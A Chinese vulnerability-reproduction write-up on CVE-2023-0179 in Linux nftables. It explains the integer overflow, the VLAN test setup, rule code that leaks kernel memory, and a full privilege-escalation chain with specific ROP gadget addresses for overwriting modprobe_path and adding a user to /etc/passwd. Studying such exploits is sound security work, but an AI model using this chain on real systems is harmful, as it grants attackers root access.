前言 Netfilter是一个用于Linux操作系统的网络数据包过滤框架,它提供了一种灵活的方式来管理网络数据包的流动。Netfilter允许系统管理员和开发人员控制数据包在Linux内核中的处理方式,以实现网络安全、网络地址转换(Network Address Translation,NAT)、数据包过滤等功能。
漏洞成因 漏洞发生在nft_payload_copy_vlan
函数内部,由于计算拷贝的VLAN
帧的头部的长度时存在整型溢出,导致了拷贝超出头部长度的数据。
代码细节如下:
nft_payload_copy_vlan
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 #define VLAN_HLEN 4 #define VLAN_ETH_HLEN 18 static bool nft_payload_copy_vlan (u32 *d, const struct sk_buff *skb, u8 offset, u8 len) { int mac_off = skb_mac_header(skb) - skb->data; u8 *vlanh, *dst_u8 = (u8 *) d; struct vlan_ethhdr veth ; u8 vlan_hlen = 0 ; if ((skb->protocol == htons(ETH_P_8021AD) || skb->protocol == htons(ETH_P_8021Q)) && offset >= VLAN_ETH_HLEN && offset < VLAN_ETH_HLEN + VLAN_HLEN) vlan_hlen += VLAN_HLEN; vlanh = (u8 *) &veth; if (offset < VLAN_ETH_HLEN + vlan_hlen) { u8 ethlen = len; if (vlan_hlen && skb_copy_bits(skb, mac_off, &veth, VLAN_ETH_HLEN) < 0 ) return false ; else if (!nft_payload_rebuild_vlan_hdr(skb, mac_off, &veth)) return false ; if (offset + len > VLAN_ETH_HLEN + vlan_hlen) ethlen -= offset + len - VLAN_ETH_HLEN + vlan_hlen; memcpy (dst_u8, vlanh + offset - vlan_hlen, ethlen); len -= ethlen; if (len == 0 ) return true ; dst_u8 += ethlen; offset = ETH_HLEN + vlan_hlen; } else { offset -= VLAN_HLEN + vlan_hlen; } return skb_copy_bits(skb, offset + mac_off, dst_u8, len) == 0 ; }
该函数实际的作用就是从数据包中将VLAN
头拷贝到指定的寄存器中进行存储,函数开始会对数据包的协议进行校验,若是为IEEE 8021Q
或IEEE 8021AD
协议则说明以太网帧中增加了VLAN TAG
,那么再拷贝VLAN
头时需要将TAG
也计算在内。在拷贝之前需要先计算待拷贝的长度,因此会进行一个长度的校验,若偏移加长度超过了VLAN
帧的头部长度时,就需要对拷贝长度进行一个校准,防止拷贝过多的数据,但是这个校验有问题,通过上述推导的公式可以发现,当offset
大于14
且小于22
并且offset+len
的值大于22
时,ethlen
就会发生溢出,这是因为ethlen
本身为无符号整型,当得到结果为负数时,会导致ethlen
变成非常大。
这里有一个需要注意的点,在计算时ethlen
时会加上vlan_hlen
而不是减掉是因为在拷贝的时候会默认先减去vlan_hlen
。
那么当offset = 19
而len = 4
时,则offset + len = 23 > 22
,因此会进入if
语句内部,接着ethlen = 14 - 19 = -5(发生溢出)
环境搭建 这里采用的是qemue + linux6.16内核
进行环境的搭建。 作者创建虚拟网络设备的脚本如下
https://github.com/TurtleARM/CVE-2023-0179-PoC/blob/master/setup.sh
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 # !/bin/sh # create the peer virtual device ip link add eth0 type veth peer name host-enp3s0 ip link set host-enp3s0 up ip link set eth0 up ip addr add 192.168.137.137/24 dev host-enp3s0# add two vlans on top of it ip link add link host-enp3s0 name vlan.5 type vlan id 5 ip link add link vlan.5 name vlan.10 type vlan id 10 ip addr add 192.168.147.137/24 dev vlan.10 ip link set vlan.5 up ip link set vlan.10 up ip link set lo up# create a bridge to enable hooks ip link add name br0 type bridge ip link set dev br0 up ip link set eth0 master br0 ip addr add 192.168.157.137/24 dev br0
可以看到作者在漏洞利用之前需要创建一些虚拟的网络设备,例如虚拟设备对,vlan
接口以及网桥。这是因为想要进入nft_payload_copy_vlan
函数的执行流程,需要数据包在vlan
上进行传输才可以。代码如下所示:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 void nft_payload_eval (const struct nft_expr *expr, struct nft_regs *regs, const struct nft_pktinfo *pkt) { const struct nft_payload *priv = nft_expr_priv(expr); const struct sk_buff *skb = pkt->skb; u32 *dest = ®s->data[priv->dreg]; int offset; if (priv->len % NFT_REG32_SIZE) dest[priv->len / NFT_REG32_SIZE] = 0 ; switch (priv->base) { case NFT_PAYLOAD_LL_HEADER: if (!skb_mac_header_was_set(skb)) goto err; if (skb_vlan_tag_present(skb)) { if (!nft_payload_copy_vlan(dest, skb, priv->offset, priv->len)) goto err; return ; } offset = skb_mac_header(skb) - skb->data; break ; ...
因此为了使得程序进入漏洞函数,需要建设特定的网络环境。而该网络拓扑与Docker
的很像,具体内容可以参考https://cloud.tencent.com/developer/article/1835299
网络拓扑大致如下,使用虚拟设备对的作用时,一端接口作为数据的输入而另一端接口作为数据的流出,那么后续进行hook
的时候只需要hook
一个点就行,设置vlan
接口是因为只有vlan
的数据包才能够进入nft_payload_copy_vlan
函数的流程内,而在vlan.5
上再次创建一个vlan
接口是因为使得数据包能够加入双层vlan tag
,这样可以通过IEEE 8021AD
协议传输。
但是我在qemu
的环境调试时数据包的协议都不是IEEE 8021AD
而是IEEE 8021Q
,在查询资料https://blog.csdn.net/m0_45406092/article/details/118497597发现,可以指定`vlan`的类型为`IEEE 8021AD`,因此修改了一下脚本。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 # !/bin/sh # create the peer virtual device ip link add eth32 type veth peer name host-enp3s0 ip link set host-enp3s0 up ip link set eth32 up# ip addr add 192.168.137.137/24 dev host-enp3s0 # add two vlans on top of it ip link add link host-enp3s0 name vlan.5 type vlan id 5 ip link add link vlan.5 name vlan.10 type vlan protocol 802.1ad id 10 # ip addr add 192.168.147.137/24 dev vlan.5 ip link set vlan.5 up ip link set lo up ip link set vlan.10 up
指定协议之后,数据包的协议也被为IEEE 8021AD
了
至此环境就搭建完毕了。这里需要注意的是在编译内核的时候由于需要用到vlan
、bridge
以及IEEE 8021Q
,因此需要开启这些模块,否则在创建设备时会出现unknow
的错误。
漏洞验证 可以使用libnftnl
库进行nftables
https://github.com/tklauser/libnftnl/tree/master进行规则的设置
nftables
需要设置table -> chain -> rule -> expr
,由于我们需要捕获在虚拟设备对上的数据包,因此可以设置协议类型为NFPROTO_NETDEV
,该协议类型是处理来自入口的数据包并且配合ingress
的HOOK
点以及chain
可以指定HOOK
点在具体的设备上,那么配合我们搭建的网络设备环境,可以指定HOOK
点为以太网口(eth32)
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 ... if (create_table(nl, table_name, NFPROTO_NETDEV, &seq, NULL )) { perror("[-] create table" ); exit (-1 ); } printf ("[2] create chain\n" ); struct unft_base_chain_param up ; up.hook_num = NF_NETDEV_INGRESS; up.prio = INT_MIN; if (create_chain(nl, table_name, chain_name, NFPROTO_NETDEV, &up, &seq, NULL , dev_name)) { perror("[-] create chain" ); exit (-1 ); } ...
然后再设置payload
的表达式触发漏洞,我们将offset
设置为19,len
设置为5
1 rule_add_payload(r, NFT_PAYLOAD_LL_HEADER, 19 , 4 , NFT_REG32_00);
可以看到我们成功将ethlen
的值设置为了251的值,该值是远远超出了以太网帧头部的长度了。
可以看到寄存器中的值中除了以太网帧头部的数据,还有一些额外的数据了。
为了将这些数据打印出来,则需要利用nftables
中自带的set
(集合),集合实际是一组数据,例如我们需要过滤几个ip
地址,就能将这些ip
地址作为一个集合作为过滤的名单,而集合中有一种属性是map
即以键值对的形式存储值,而这些值实际是可以通过寄存器进行添加的,那么我们就将上述寄存器的值添加到集合中使用nft list ruleset
的命令就可以再屏幕中获取内核的信息了。创建集合的代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 struct nftnl_set* build_set (char * table_name, char * set_name, uint16_t family) { struct nftnl_set *s = NULL ; s = nftnl_set_alloc(); if (s == NULL ) { perror("OOM" ); exit (EXIT_FAILURE); } nftnl_set_set_str(s, NFTNL_SET_TABLE, table_name); nftnl_set_set_str(s, NFTNL_SET_NAME, set_name); nftnl_set_set_u32(s, NFTNL_SET_FAMILY, family); nftnl_set_set_u32(s, NFTNL_SET_KEY_LEN, 4 ); nftnl_set_set_u32(s, NFTNL_SET_KEY_TYPE, NFT_DATA_VALUE); nftnl_set_set_u32(s, NFTNL_SET_DATA_LEN, 4 ); nftnl_set_set_u32(s, NFTNL_SET_DATA_TYPE, NFT_DATA_VALUE); nftnl_set_set_u32(s, NFTNL_SET_ID, 1 ); nftnl_set_set_u32(s, NFTNL_SET_FLAGS, NFT_SET_MAP); return s; }
在创建完集合后,往集合里面添加数据是通过表达式完成的,而动态的添加以及删除集合中的元素则是通过dynset
表达式进行处理,添加表达式代码如下:
1 2 3 4 5 6 7 8 9 10 void rule_add_dynset (struct nftnl_rule* r, char *set_name, uint32_t reg_key, uint32_t reg_data) { struct nftnl_expr *expr = nftnl_expr_alloc("dynset" ); nftnl_expr_set_str(expr, NFTNL_EXPR_DYNSET_SET_NAME, set_name); nftnl_expr_set_u32(expr, NFTNL_EXPR_DYNSET_OP, NFT_DYNSET_OP_UPDATE); nftnl_expr_set_u32(expr, NFTNL_EXPR_DYNSET_SET_ID, 1 ); nftnl_expr_set_u32(expr, NFTNL_EXPR_DYNSET_SREG_KEY, reg_key); nftnl_expr_set_u32(expr, NFTNL_EXPR_DYNSET_SREG_DATA, reg_data); nftnl_rule_add_expr(r, expr); }
这里需要注意的是,我们指定了捕获数据包的网口,因此数据包需要途径该网口才能够捕获数据包,下面是作者使用的数据包发送的代码,首先是绑定发送数据包的端口为vlan.10
,由于vlan.10
是在vlan.5
上创建的,因此从vlan.10
出去的数据包会被打上双层vlan tag
,并且vlan.5
是在host-enps32
上创建的,而host-enps32
又是与eth32
构成虚拟设备对,因此数据包最终会从eth32
发出并且携带双重的vlan tag
从而进入nft_payload_copy_vlan
的函数内部,触发漏洞。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 int send_packet () { int sockfd; struct sockaddr_in addr ; char buffer[] = "This is a test message" ; char *interface_name = "vlan.10" ; int interface_index; struct ifreq ifr ; memset (&ifr, 0 , sizeof (ifr)); memcpy (ifr.ifr_name, interface_name, MIN(strlen (interface_name) + 1 , sizeof (ifr.ifr_name))); sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); if (sockfd < 0 ) { perror("[-] Error creating socket" ); return 1 ; } if (setsockopt(sockfd, SOL_SOCKET, SO_BINDTODEVICE, (void *)&ifr, sizeof (ifr)) < 0 ) { perror("[-] Error setting SO_BINDTODEVICE socket option" ); return 1 ; } memset (&addr, 0 , sizeof (addr)); addr.sin_family = AF_INET; addr.sin_addr.s_addr = inet_addr("192.168.123.123" ); addr.sin_port = htons(1337 ); if (sendto(sockfd, buffer, sizeof (buffer), 0 , (struct sockaddr*)&addr, sizeof (addr)) < 0 ) { perror("[-] Error sending UDP packet" ); return 1 ; } close(sockfd); return 0 ; }
可以看到最终完成了内核信息的泄露。
完整poc:https://github.com/h0pe-ay/Vulnerability-Reproduction/blob/master/CVE-2023-0179/poc.c
漏洞利用 根据漏洞成因可以知道,payload_eval_copy_vlan
函数存在整型溢出,导致我们将vlan
头部结构拷贝到寄存器(NFT_REG32_00-NFT_REG32_15
),而该变量时存在与栈上的,因此可以覆盖栈上的其余变量的。
可以发现regs
变量是无法覆盖到返回地址。
因此我们需要观察源码,jumpstack
变量是在regs
变量下方
我们可以通过溢出regs
变量覆盖到jumpstack
变量。
那么接下来需要观察一下nft_jumpstack
结构体中存在哪些变量
1 2 3 4 5 struct nft_jumpstack { const struct nft_chain *chain ; const struct nft_rule_dp *rule ; const struct nft_rule_dp *last_rule ; };
chain
:用于指定在哪个流程进行hook
rule
:以什么样的规则处理数据包
last_rule
:规则可能不止一条,因此last_rule
用于指向最后一条规则
nft_jumpstack
结构体在nft_do_chain
函数的作用如下,当状态寄存器被设置为JUMP
条件时,意味着需要跳转到其他chain
进行处理,因此需要先保存当前chain
的状态,这里与函数调用时保存栈时的处理一样,估计因此才命名为jumpstack
。并且使用一个全局变量stackptr
用于确定保存的chain
的先后顺序。在保存完之后,就跳转到目的chain
,目的chain
则是存储在regs.verdict.chain
中。
1 2 3 4 5 6 7 8 9 10 11 12 13 ...switch (regs.verdict.code) {case NFT_JUMP: if (WARN_ON_ONCE(stackptr >= NFT_JUMP_STACK_SIZE)) return NF_DROP; jumpstack[stackptr].chain = chain; jumpstack[stackptr].rule = nft_rule_next(rule); jumpstack[stackptr].last_rule = last_rule; stackptr++; case NFT_GOTO: chain = regs.verdict.chain; goto do_chain; ...
还原chain
的过程如下,通过递减stackptr
来取出存储在jumpstack
变量中存储的chain
、rule
、lastrule
,然后就会跳转到next_rule
对还原的rule
,进行rule
的解析,这里需要注意的是在遍历rule
的时候,循环是通过rule < last_rule
进行遍历的,因此我们在后续伪造last_rule
的时候需要大于rule
,否则是无法进入循环内部的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 next_rule: regs.verdict.code = NFT_CONTINUE; for (; rule < last_rule; rule = nft_rule_next(rule)) { nft_rule_dp_for_each_expr(expr, last, rule) { if (expr->ops == &nft_cmp_fast_ops) nft_cmp_fast_eval(expr, ®s); else if (expr->ops == &nft_cmp16_fast_ops) nft_cmp16_fast_eval(expr, ®s); else if (expr->ops == &nft_bitwise_fast_ops) nft_bitwise_fast_eval(expr, ®s); else if (expr->ops != &nft_payload_fast_ops || !nft_payload_fast_eval(expr, ®s, pkt)) expr_call_ops_eval(expr, ®s, pkt); if (regs.verdict.code != NFT_CONTINUE) break ; } ...if (stackptr > 0 ) { stackptr--; chain = jumpstack[stackptr].chain; rule = jumpstack[stackptr].rule; last_rule = jumpstack[stackptr].last_rule; goto next_rule; } ...
紧接着来看一下nft_rule_dp
结构体,可以发现第一个八个字节是一些标志位组成的,而后续的八个字节则是用于存储nft_expr
结构体的指针。
1 2 3 4 5 6 7 struct nft_rule_dp { u64 is_last:1 , dlen:12 , handle:42 ; unsigned char data[] __attribute__((aligned(__alignof__(struct nft_expr)))); };
然后可以看到nft_expr
结构体里存储了函数指针,如果我们能够篡改该函数指针就可以劫持程序流程。
1 2 3 4 5 struct nft_expr { const struct nft_expr_ops *ops ; unsigned char data[] __attribute__((aligned(__alignof__(u64)))); };
然后在这篇文章https://www.ctfiot.com/100156.html学习到了一个小技巧。使用`ptype /o struct xxx`就可以看到具体的结构体信息与偏移。
因此构造的流程如下,首先我们通过漏洞溢出到nft_jumpstack
结构体,并且修改rule
变量为可控内容的地址同时需要将lastrule
的值篡改为比rule
更大的值,原因上述已经说过。紧接着在可控内容中伪造一个nft_rule_dp
结构体,第一个八字节是填充位,而第二个八字节是需要伪造的函数表指针,同样的我们也将该指针篡改为可控内容的地址,然后再该地址处伪造nft_expr
,并且将ops
变量指向我们想要执行的函数即可。
通过上述分析已经知道了该如何通过漏洞完成程序流程的劫持,接下来需要分析如果伪造上述几个结构体。
首先在nft_payload_copy_vlan
函数中,漏洞点是将vlan
头的数据拷贝到指定的寄存器里面,而vlan
头的地址是低于寄存器的地址,这就会导致在拷贝完vlan
头后会将寄存器中的值也进行拷贝的操作,而寄存器的值我们是能人为控制的,因此就可以完成伪造的操作。
可以看到我们对NFT_REG32_00
的赋值会覆盖到jumpstack[7].rule
的值,完成了对jumpstack
结构体的篡改,这里我们可以通过NFT_REG32_00 - NFT_REG32_15
进行赋值,紧接着查看jumpstack
哪个值是被赋值。就可以知道哪个jumpstack
可以被篡改。
由于我们可以控制regs
变量的值,我们可以首先泄露regs
的地址,然后在regs
上伪造rule
即可。然后expr
重新指向为jumpstack
即可,这里采用了一个小技巧就是将last_rule
设置为一个函数地址,由于函数地址的值是大于regs
变量的地址值的,因此我们可以节约八个字节。
但是这里有个问题就是我们只能控制八个字节的函数指针,因此是无法构造一个完整的ROP
链的,而内核并不存在像用户态下有one_gadget
可以只利用八个字节就能完成利用,因此在这里必须使用栈迁移,迁移的目的是一段可以控制的内存,那么这里选用的目的自然就是regs
了。那么该如何找栈迁移的gadget
呢?,这里我首先采用的使用利用vmlinux-to-elf
将bzImage
的符号表提取出来,然后寻找对应的gadget
,gadget
类型如下
mov rsp,xxx
push xxx;pop rsp
add rsp,xxx
xchg rsp,xxx
上述指令都可以修改rsp
寄存器,完成栈迁移的效果。
首先通过vmlinux-to-elf ./bzImage ./vmlinux
去提取出符号表
然后通过ropper
进行gadget
的提取,ropper --file ./vmlinux --nocolor > g
最后这在搜索gadget
,cat g | grep 'add rsp.*ret'
,但是通过尝试发现下述的地址都没办法使用,因为下述地址都不具备可执行的权限。
然后尝试了搜索上述所有的gadget
,我都没有找到可以用的gadget
,唯一比较接近的gadget
是pop rsi
的,但是无法控制rsi
的寄存器,其实这里一开始我使用的镜像是自己编译的,这里搜索的gadget
是需要控制rdi
寄存器的,经过多次尝试无果后才使用了作者的config
文件重新编译发现还是不可行。
其实我们在编译内核文件时是存在vmlinux
文件的,但是那个文件十分的大,使用ropper
工具无法分析,就在我准备放弃的时候,想到使用objdump
工具进行gadget
的提取
使用objdump -d -M intel vmlinux > ./gadget.txt
objdump
提取的速度非常快,提取代码如下,但是它没有ropper
搜索gadget
那么方便,但是会全的多
这里我首先尝试了搜索栈迁移的gadget
,cat gadget.txt | grep -E 'add rsp.*'
可以发现有非常多的匹配的gadget
,接着我们在gdb
中验证可以使用的gadget
,通常在栈进行还原的时候会用到add rsp,xxx
,因此都是有效的gadget
,然后就是计算栈顶与resg
函数地址的差值找到相应的栈迁移gadget
即可。
接下就是考虑如何进行提权的利用了,虽然我们可以控制regs
但是可控的范围也只有0x40
是不足于采用commit_creds(prepare_kernel_cred(0))
设置root
凭证然后返回到用户空间执行后门的。那么相当的一个办法就是通过覆盖modprobe_path
进行提权。这里我找了下列gadget
进行modprobe_path
的覆盖,将rdi
设置为modprobe_path
,rax
设置为覆盖后的路径即可。
1 2 0xffffffff810d1e6b : mov qword ptr [rdi], rax; ret; 0xffffffff81004165 : pop rdi; pop rbp; ret
最后就是覆盖完modprobe_path
该如何返回到用户态,因为modprobe_path
的提权需要在用户态下执行非法文件头的文件,这里作者采用的是将栈还原,通过在rbp
中的地址值覆盖会rsp
中即可,采用下述gadget
1 0xffffffff810b47f0 : mov rsp, rbp; pop rbp; ret;
但是在我的环境下直接返回不行,这是因为在返回到 nf_hook_slow
函数时,有对状态码的一个检验,而在上述覆盖modprobe_path
时,我们设置了rax
值,就导致无法将状态码设置成合法值。那分支就会跳转到default
,导致报错。在尝试搜索了gadget
之后,可以将rax
设置为0,但是这回进入到NF_DROP
分支 中,但是此时skb
变量也被我们破坏了,无法正常执行。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 int nf_hook_slow (struct sk_buff *skb, struct nf_hook_state *state, const struct nf_hook_entries *e, unsigned int s) { unsigned int verdict; int ret; for (; s < e->num_hook_entries; s++) { verdict = nf_hook_entry_hookfn(&e->hooks[s], skb, state); switch (verdict & NF_VERDICT_MASK) { case NF_ACCEPT: break ; case NF_DROP: kfree_skb_reason(skb, SKB_DROP_REASON_NETFILTER_DROP); ret = NF_DROP_GETERR(verdict); if (ret == 0 ) ret = -EPERM; return ret; case NF_QUEUE: ret = nf_queue(skb, state, s, verdict); if (ret == 1 ) continue ; return ret; default : return 0 ; } } return 1 ; }
在尝试很久之后,最终放弃正常返回的这个选项,然后我在rbp
中搜索是否有合适的返回地址。最后在rbp
中我找到了一个do_softirq
函数
该函数是一个软中断处理的函数,当时我就猜想,如果这个函数返回了,应该不会影响程序的执行。
尝试运行之后,发现还是有内核异常,顿时有点失望。
但是在操控命令行的时候是能够正常输入命令的,说明我们成功返回到用户态了。
最后就是查看是否将新用户写入到/etc/passwd
中了,最终完成写入。完结撒花!。
完整exp可以参考https://github.com/h0pe-ay/Vulnerability-Reproduction/blob/master/CVE-2023-0179(nftables)/poc.c
参考链接 https://github.com/TurtleARM/CVE-2023-0179-PoC
https://github.com/pqlx/CVE-2022-1015
https://www.ctfiot.com/100156.html
https://www.cnblogs.com/mutudou/p/14244640.html
https://zhuanlan.zhihu.com/p/554612685
https://cloud.tencent.com/developer/article/1835299
https://github.com/tklauser/libnftnl/tree/master
https://blog.csdn.net/qq_33997198/article/details/118370071